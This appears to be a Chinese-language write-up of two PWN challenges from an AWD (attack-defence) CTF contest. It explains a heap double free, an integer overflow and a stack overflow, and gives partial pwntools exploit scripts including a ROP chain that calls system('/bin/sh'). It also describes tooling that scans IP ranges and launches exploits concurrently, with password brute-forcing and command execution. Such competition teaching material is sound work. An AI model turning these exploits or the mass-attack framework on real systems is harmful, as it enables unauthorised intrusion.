AWD古剑山线下PWN全解
字数 3173
更新时间 2026-04-22 12:50:36

古剑山AWD线下赛PWN题全解析教学文档

概述

本文档解析“古剑山AWD线下赛”中的两道PWN题目,涵盖漏洞分析、利用思路、利用脚本(EXP)及自动化攻防脚本,旨在提供全面的攻击利用教学。

第一题:heap

题目环境:glibc 2.23,无edit功能。

1. 漏洞点分析

  • UAF漏洞:位于delete函数中。
    • 程序限制索引在0x13以内。
    • 漏洞核心在于while循环的覆写操作。例如,删除index = 7index = 8处的指针会移动到index = 7,但index = 8处的指针未被清零,形成悬垂指针,导致Double Free。
    • 由于while循环,index = 8之后的位置会被后续操作清零,唯一可避免覆写的是边界位置0x13。此处是漏洞利用的关键。

2. 利用思路

  1. 泄露libc地址:需要填满fastbin并通过调试获取堆布局。注意\x00截断问题,可利用堆地址泄露libc。通过申请got表来泄露libc地址,因为size难以直接修改,且Double Free后无法再次申请相同大小的chunk。
  2. 利用Double Free修改指针:题目无edit功能,无法直接修改指针。需利用Double Free,通过申请特定chunk来修改指针。需要调整chunk的申请顺序,进行一定堆布局的叠加。
  3. 泄露栈地址:在成功泄露libc后,可利用剩余的多重指针(如代码中提到的index 6index 8指向同一堆块)再次触发Double Free,从而泄露栈地址。
  4. 获取shell
    • 拥有任意地址泄露能力后,可以选择攻击malloc_hooksystem。攻击system更稳定。
    • 通过再次触发Double Free,申请返回地址附近的chunk。找到一个合适size(如0x40)的chunk,通过偏移计算(如+1跳过低位字节,保留高位的0x40字节)将其申请出来,完成利用。

3. 利用脚本(EXP)核心步骤

from pwn import *
context.terminal = ["tmux", "splitw", "-l 100"]
context.arch = "amd64"
context.binary = elf = ELF("./heap")
libc = ELF("./libc.so.6")
context.log_level = "debug"

def start():
    return process("./heap")
io = start()

# 定义交互函数
sl = lambda x: io.sendline(x)
sla = lambda a, b: io.sendlineafter(a, b)
rt = lambda a: io.recvuntil(a)

def cmd(choice):
    sla(b"Choice:\n", str(choice).encode())

def add(size, content):
    cmd(1)
    sla(b"Name Size:", str(size).encode())
    sla(b"Name:", content)

def show(idx):
    cmd(2)
    sla(b"The id you want to show:", str(idx).encode())
    io.recvuntil(b"The name is:")
    # ... 接收并处理泄露的数据 ...

# 后续利用步骤(堆布局、泄露、修改等)在此函数中实现
# 注意:文档中提供的exp代码不完整,实际利用需根据上述思路补全堆布局、泄露、写ROP链等操作。

第二题:King

目标:调用others()函数,最终触发rename()函数中的栈溢出。

1. 关键函数与漏洞

  • others(): 需满足sign == 0才能调用rename()
  • rename(): 调用input_name(),存在栈溢出漏洞。
  • input_name(): 核心漏洞函数。
    • snprintf写入s数组的长度为0xA0,但其返回值nbytes预期写入的字符数(可能大于0xA0)。
    • 后续read(0, s, (unsigned int)nbytes);使用nbytes作为读取长度,导致栈溢出。
    • 同时,printf("%s", s);可造成信息泄露(但意义不大)。

2. 将sign置零的两种方法

sign初始值为5。

  1. 攻击路径1:在attack2()中击败Enemy五次。每次击败进入sub_400DD1,失败进入sub_400D55
  2. 攻击路径2:利用gift()gift2()函数。
    • gift2(): 检查(abs32(money) & 0x80000000) == 0,即money为负数时,将sign置零。
    • gift(): 当money > n92_1(一个特定值)时,将sign置零并扣除n92_1的金钱。

高效方法:利用int类型溢出快速增加money

  • 在购买HP药水的函数中,存在计算:money -= 80 * v2;,其中v2为用户输入的数量。
  • 输入一个极大的v2,使得80 * v2溢出变为一个负数,从而导致money大幅增加(负负得正)。这比正常打怪刷钱更快,更适合AWD赛制。

3. 利用步骤

  1. 刷钱与升级:利用上述整数溢出漏洞快速增加金钱,并调用gift()gift2sign置零。
  2. 触发溢出sign置零后,调用others() -> rename() -> input_name()
  3. 泄露与ROP
    • 第一次溢出:泄露puts的GOT表地址,计算libc基址。
    • 第二次溢出:构造ROP链,调用system(‘/bin/sh‘)获取shell。

4. 利用脚本(EXP)核心框架

from pwn import *
elf = ELF('./king')
libc = ELF('./libc.so.6') # 需提供对应libc
# ... 定义常用函数 ...

def get_money():
    # 利用整数溢出刷钱的交互流程
    # 调用购买函数,输入大整数触发溢出
    pass

def get_auth():
    # 调用gift函数将sign置零
    pass

# 主流程
# 1. 循环刷钱和升级
for i in range(100):
    get_money()
# 升级操作...
# 2. 获取权限(sign=0)
get_auth()

# 3. 第一次交互:泄露libc地址
rt("What's your name?")
s(b'a'*0x80) # 填充buf_
# 构造溢出payload,覆盖返回地址,泄露puts地址
pd = b'a'*0xb8 + p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main_addr)
sl(pd)
# 接收泄露的地址,计算libc基址
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - libc.sym['puts']

# 4. 第二次交互:getshell
rt("What's your name?")
s(b'a'*0x80)
# 构造ROP链:system("/bin/sh")
pd = b'a'*0xb8 + p64(ret_addr) + p64(pop_rdi_ret) + p64(libc_base + next(libc.search(b'/bin/sh'))) + p64(libc_base + libc.sym['system'])
sl(pd)
io.interactive()

附录:AWD自动化脚本

在AWD(攻防对抗)赛中,自动化扫描、攻击和修补至关重要。文档提供了完整的脚本框架。

1. 脚本架构

  • scan_and_attack.py: 主控脚本,读取存活目标列表,并发调用EXP进行攻击。
  • scan_targets.py: 扫描脚本,从IP范围或列表中探测存活主机及端口,并识别特定服务。
  • snake_login.py: 包含通用网络连接、数据收发、密码爆破和命令执行的函数。
  • exp_runner.py: 动态加载和执行EXP脚本的模块,支持将本地pwn.process调用重定向到远程pwn.remote

2. 核心模块功能说明

exp_runner.py (EXP执行器)

  • 动态加载:通过importlib动态加载exp.py文件,避免重复导入冲突。
  • 远程重定向:在加载EXP模块时,临时将pwn.process替换为pwn.remote,使为本地测试编写的EXP能无缝用于攻击远程目标。
  • 统一接口:尝试调用EXP模块中的exp()函数,并智能传递参数(host, port)(host, port)元组。

scan_and_attack.py (主攻击脚本)

  • scan_targets.py生成的存活目标文件live.txt中读取目标。
  • 使用ThreadPoolExecutor并发地对每个目标执行攻击。
  • 将攻击结果保存到result.txt

scan_targets.py (目标扫描脚本)

  • 支持多种目标格式输入(source.txt):
    • 192.168.1.1-192.168.1.100
    • 192.168.1.0/24
    • 192.168.1.1:9999
  • 并发探测目标端口是否开放,并可匹配特定banner关键词。
  • 将存活目标列表写入live.txt

snake_login.py (通用登录与命令执行)

  • 提供socket层的基础通信函数(connect, recv_until, send_line等)。
  • 示例函数leak_passwordrun_cmd展示了如何利用特定漏洞(如密码泄露)和后续命令执行。

3. 使用流程

  1. source.txt中定义目标(IP段或具体IP:PORT)。
  2. 运行python scan_targets.py,生成存活目标列表live.txt
  3. 编写exp.py,确保包含exp(host, port)或类似签名的攻击函数。
  4. 运行python scan_and_attack.py,开始自动攻击所有存活目标。

4. 自动Patch脚本

文档末尾提供了一个Bash脚本(autopatch.sh),用于在本地环境中为给定的二进制文件(binary)和libc(libc.so.6)自动匹配合适的加载器(ld)并修补ELF文件。

  • 从指定的glibc池目录中,根据二进制文件的架构和libc版本,选择最匹配的ld
  • 使用patchelf修改二进制文件的解释器(interpreter)和动态库依赖。
  • 将必要的库文件复制到二进制文件所在目录,确保其可独立运行。
相似文章
相似文章
 全屏